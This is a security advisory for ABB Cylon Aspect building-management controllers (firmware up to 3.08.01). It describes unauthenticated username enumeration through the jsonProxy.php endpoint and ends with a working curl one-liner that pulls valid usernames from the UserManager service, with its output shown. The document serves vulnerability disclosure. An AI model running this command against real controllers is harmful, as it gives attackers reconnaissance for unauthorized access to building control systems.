ABB Cylon Aspect 3.08.01 jsonProxy.php Username Enumeration

ABB Cylon Aspect 3.08.01 (jsonProxy.php) Username EnumerationVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerableto username enumeration. An unauthenticated attacker can interact with theUserManager servlet to enumerate valid usernames on the system. Since jsonProxy.phpproxies requests to internal services without requiring authentication, attackerscan gain unauthorized insights into valid usernames.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5859Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5859.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                                                              $ curl -s "http://192.168.73.31/jsonProxy.php?port=7226&application=UserManager" \> | grep -o 'selecteduser=[^"]*' \> | sed 's/selecteduser=//'aamuserguest